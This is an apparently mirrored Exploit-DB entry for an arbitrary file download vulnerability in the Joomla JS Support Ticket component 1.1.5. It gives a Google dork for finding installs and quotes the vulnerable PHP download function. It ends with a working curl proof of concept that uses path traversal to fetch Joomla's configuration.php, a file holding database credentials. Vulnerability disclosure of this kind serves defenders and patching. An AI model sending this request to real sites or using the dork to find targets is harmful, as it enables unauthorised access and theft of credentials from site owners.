Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 – Arbitrary File Download - 体验盒子

作者： qw3rTyTy

日期： 2019-08-08

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/47216/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

#Exploit Title: Joomla! component com_jssupportticket - Arbitrary File Download

#Dork: inurl:"index.php?option=com_jssupportticket"

#Date: 08.08.19

#Exploit Author: qw3rTyTy

#Vendor Homepage: http://joomsky.com/

#Software Link: https://www.joomsky.com/46/download/1.html

#Version: 1.1.5

#Tested on: Debian/nginx/joomla 3.9.0

#####################################

#Vulnerability details:

#####################################

Vulnerable code is in line 1411 in file admin/models/ticket.php

1382 function getDownloadAttachmentByName($file_name,$id){

1383 if(empty($file_name)) return false;

1384 if(!is_numeric($id)) return false;

1385 $db = JFactory::getDbo();

1386 $filename = str_replace(' ', '_',$file_name);

1387 $query = "SELECT attachmentdir FROM <code>#__js_ticket_tickets</code> WHERE id = ".$id;

1388 $db->setQuery($query);

1389 $foldername = $db->loadResult();

1390

1391 $datadirectory = $this->getJSModel('config')->getConfigurationByName('data_directory');

1392 $base = JPATH_BASE;

1393 if(JFactory::getApplication()->isAdmin()){

1394 $base = substr($base, 0, strlen($base) - 14); //remove administrator

1395 }

1396 $path = $base.'/'.$datadirectory;

1397 $path = $path . '/attachmentdata';

1398 $path = $path . '/ticket/' . $foldername;

1399 $file = $path . '/' . $filename;

1400

1401 header('Content-Description: File Transfer');

1402 header('Content-Type: application/octet-stream');

1403 header('Content-Disposition: attachment; filename=' . basename($file));

1404 header('Content-Transfer-Encoding: binary');

1405 header('Expires: 0');

1406 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');

1407 header('Pragma: public');

1408 header('Content-Length: ' . filesize($file));

1409 //ob_clean();

1410 flush();

1411 readfile($file); //!!!

1412 exit();

1413 exit;

1414 }

#####################################

#PoC:

#####################################

$> curl -X GET -i "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=downloadbyname&id=0&name=../../../configuration.php"